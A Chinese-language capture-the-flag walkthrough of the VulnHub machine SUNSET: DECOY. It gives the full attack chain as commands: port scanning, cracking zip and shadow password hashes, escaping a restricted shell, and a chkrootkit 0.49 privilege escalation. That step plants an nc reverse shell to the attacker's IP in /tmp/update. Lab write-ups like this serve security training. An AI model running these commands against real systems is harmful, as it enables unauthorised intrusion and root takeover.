靶机官网:SUNSET: DECOY[1]
实战思路:
主机发现
端口发现(服务、组件、版本) 1
漏洞发现(获取权限) 2
22端口/SSH服务 2
组件漏洞 2
口令漏洞 2
80端口/HTTP服务 2
组件漏洞 2
URL漏洞(目录、文件) 3
越权提权 6
01、sudo 6
02、suid
03、信息收集 7
04、tty 9
05、sudo 9
06、suid
07、信息收集 11
08、chkrootkit
本次攻击指定IP,不涉及主机发现过程。
使用命令sudo -u root nmap 172.16.33.40 -n -Pn -p- --reason -sV -sC -O
获得主机开放的端口、提供的服务、使用的组件、组件的版本。
开放的端口 |
提供的服务 |
使用的组件 |
组件的版本 |
22/tcp |
ssh |
OpenSSH |
7.9p1 |
80/tcp |
http |
Apache httpd |
2.4.38 |
- |
os |
Debian Linux |
? |
使用命令searchsploit OpenSSH 7.
,未发现OpenSSH 7.9p1组件的Nday漏洞。
使用命令 hydra -C /usr/share/seclists/Passwords/Default-Credentials/ssh-betterdefaultpasslist.txt 172.16.33.40 ssh
,未发现弱口令漏洞。
使用命令searchsploit Apache httpd 2.4.
,未发现Apache httpd 2.4.38组件的Nday漏洞。
使用Wappalyzer、FindSomething等插件识别网站组件,无收获。
01、手动浏览:访问首页http://172.16.33.30/
,发现压缩文件save.zip
。
下载后,使用命令unzip save.zip
进行解压缩,发现需要解压密码。使用命令zipinfo save.zip
查看压缩包里的文件,发现/etc/shadow
文件,如果能获取到,并爆破出SSH密码,就能登录SSH服务了。
使用命令zip2john save.zip > save.zip.hash
和john save.zip.hash
爆破压缩包的解压密码,获得save.zip
的解压密码manuel
。
使用命令unzip save.zip
进行解压缩,使用命令cat ./etc/shadow
查看SSH用户的密码情况,发现root
用户和296640a3b825115a47b68fc44501c828
用户具有SSH密码。
使用命令cat ./etc/passwd | grep -v nologin$
查看允许登录的SSH用户,发现root
用户和296640a3b825115a47b68fc44501c828
用户允许登录。
使用命令sudo john ./etc/shadow --format=crypt
爆破./etc/shadow
文件中的SSH密码,获得SSH用户296640a3b825115a47b68fc44501c828
的SSH密码server
。
使用命令ssh [email protected]
成功登录SSH服务,但是这个/bin/rbash
的命令行还挺受限的。
02、目录扫描:使用命令dirb http://172.16.33.40/ /usr/share/seclists/Discovery/Web-Content/common.txt -R
对网站目录和文件进行遍历,没有任何发现。
03、模糊测试:基于目前已知信息,没有对网站的目录和文件进行FUZZ的必要。
04、信息收集:前面在Firefox翻找网站的流量全都走Burp Suite代理,在Burp Suite中未发现敏感信息泄露。
使用命令sudo -l
查看296640a3b825115a47b68fc44501c828用户的特权命令,发现没有sudo命令。
使用命令find / -perm -u=s -ls 2>/dev/null
查看系统的特权程序,发现没有find命令。
正常的操作系统不会没有这些系统命令呀,难道是环境变量出错了?使用命令echo $PATH
查看环境变量,确实没有系统命令的存放路径。
使用命令PATH=/usr/bin:$PATH
添加find命令的存放路径,发现只有读权限,无法添加。
那就不依赖环境变量了,带上存放路径使用命令 /usr/bin/find / -perm -u=s -ls
,提示命令名称中不能带有/
,这个方法也得堵死了。
那就去到find命令的存放路径下,直接调用find吧,这样就不会在命令名称中带有/
了。使用命令cd /usr/bin/
和cd
,提示cd命令用不了,看来这条路完全堵死了。
使用命令ls -la
查看文件情况,发现不少有意思的文件,但是都无法查看。
使用命令scp [email protected]:/home/296640a3b825115a47b68fc44501c828/ ./
下载到本地查看,也以失败告终。
执行honeypot.decoy
程序,发现选项7
可以打开vim编辑器,在vim编辑器中使用命令:e 文件名
可以查看文件。
经过排查发现只有user.txt
文件存在有效内容35253d886842075b2c6390f35946e41f
。该内容在CyberChef[2]解码无果,在CMD5[3]查有结果但需付费,所以目前怀疑该内容是root账号的SSH密码的md5值,当然,你也可以说这是个flag。
经过网上搜索和man ssh
手册查询,发现ssh命令使用参数-t "bash --noprofile"
可以强制分配伪终端,从而解决命令行受限问题,例如能够添加环境变量了。
使用命令ssh [email protected] -t "bash --noprofile"
以强制分配伪终端的方式登录SSH服务。
使用命令PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:$PATH
为命令行添加(从kali中获取的)环境变量,从而获得正常的命令行环境。
使用命令sudo -l
查看296640a3b825115a47b68fc44501c828用户的特权命令,发现该用户没有执行sudo命令的权限。
使用命令find / -perm -u=s -ls 2>/dev/null
查看特权程序,在GTFOBins[4]中未发现可以提权的命令。
使用命令ls -la
和cd
,发现pspy的日志文件。pspy是Linux系统的进程监控工具,可以记录进程的运行情况,包括启动进程的命令,一定程度上类似于详细版的history命令。
在pspy的日志文件中,发现曾经执行过解压chkrootkit-0.49.tar.gz
文件的命令,也就是系统可能使用0.49版本的chkrootkit程序。
0.49版本的chkrootkit程序之所以特别,是因为存在本地提权漏洞,使用命令searchsploit chkrootkit
可以查询到漏洞情况。
但奇怪的是系统中并未发现chkrootkit相关的文件,难道是曾经使用过但后来删了?又或者是存放在/root/
等当前用户没有查看权限的目录中?
回想前面发现的honeypot.decoy
程序,里面的AV Scan病毒扫描功能,会不会集成了chkrootkit的后门检查能力呢?
验证方式一:使用命令strings honeypot.decoy
查看honeypot.decoy
程序中的字符串内容,可以看到8个功能对应的底层能力,例如1 Date
功能是执行/usr/bin/date
命令,3 Shutdown
功能是打印Shutdown is currently not available due to not enough privileges. Ending program.
内容,5 Launch an AV Scan
功能是执行/usr/bin/touch /dev/shm/STTY5246
命令并打印The AV Scan will be launched in a minute or less.
内容。
令人失望的是,没有看到AV Scan病毒扫描功能集成chkrootkit的后门检查能力的代码。
验证方式二:使用命令for i in $(seq 1 300); do ps -ef | grep -v grep | grep chkrootkit; sleep 1; done;
观察5分钟内的进程运行情况。
同时在新的窗口中,使用命令/usr/bin/touch /dev/shm/STTY5246
,或者使用程序honeypot.decoy
的功能5 Launch an AV Scan.
,或者甚至什么也不做,都能发现root用户会执行/bin/sh /root/chkrootkit-0.49/chkrootkit
命令,使用0.49版本的chkrootkit程序来检查后门情况。
既然确认了root用户会执行0.49版本的chkrootkit程序,那就看看怎么提权。使用命令 searchsploit -m 33899
将前面发现的EXP复制到当前目录下。
使用命令cat 33899.txt
查看EXP,发现漏洞利用方式是:1、使用非root用户,创建一个名为/tmp/update
的可执行程序,内含提权代码;2、使用root用户,运行0.49版本的chkrootkit程序。
第一步,使用非root用户,也就是当前的296640a3b825115a47b68fc44501c828用户,执行命令echo /bin/bash > /tmp/update
和chmod +x /tmp/update
,创建一个名为/tmp/update
的可执行程序,内含提权代码。
第二步,使用root用户,运行0.49版本的chkrootkit程序,也就是通过使用命令/usr/bin/touch /dev/shm/STTY5246
,或者使用程序honeypot.decoy
的功能5 Launch an AV Scan.
,或者甚至什么也不做,来调用root用户运行0.49版本的chkrootkit程序。
结果发现没有返回root权限的shell,原来不是当前用户296640a3b825115a47b68fc44501c828直接运行chkrootkit程序,所以返回的root权限shell不会给到296640a3b825115a47b68fc44501c828用户。
返回shell不行,那就反弹shell吧。
第一步,使用非root用户,也就是当前的296640a3b825115a47b68fc44501c828用户,执行命令 echo nc -nv 10.8.0.110 4444 -e /bin/bash > /tmp/update
,创建一个名为/tmp/update
的可执行程序,内含提权代码。
第二步,使用root用户,运行0.49版本的chkrootkit程序,也就是通过使用命令/usr/bin/touch /dev/shm/STTY5246
,或者使用程序honeypot.decoy
的功能5 Launch an AV Scan.
,或者甚至什么也不做,来调用root用户运行0.49版本的chkrootkit程序。
同时在本地终端使用命令nc -nvlp 4444
,就能获得反弹回来的root权限的shell了。
后记:前面提到,需要使用命令/usr/bin/touch /dev/shm/STTY5246
,或者使用程序honeypot.decoy
的功能5 Launch an AV Scan.
,来调用root用户运行0.49版本的chkrootkit程序。
但是你会发现,即使什么也不做,root用户也会执行/bin/sh /root/chkrootkit-0.49/chkrootkit
命令。同时/dev/shm/STTY5246
文件内容也是空的,那么chkrootkit程序到底是如何被root用户执行的呢?
在root权限下,使用命令ls -l
发现root用户的家目录存在script.sh
脚本,使用命令cat script.sh
查看脚本内容,发现如果存在/dev/shm/STTY5246
文件就会执行/root/chkrootkit-0.49/chkrootkit
命令。使用命令crontab -l
查看计划任务,发现root用户每分钟都会执行一次/root/script.sh
脚本。
好吧,原来是这么回事,好一个假的honeypot.decoy
程序。
[1]
SUNSET: DECOY: https://www.vulnhub.com/entry/sunset-decoy,505/
[2]CyberChef: https://gchq.github.io/CyberChef/
[3]CMD5: https://cmd5.com/
[4]GTFOBins: https://gtfobins.github.io/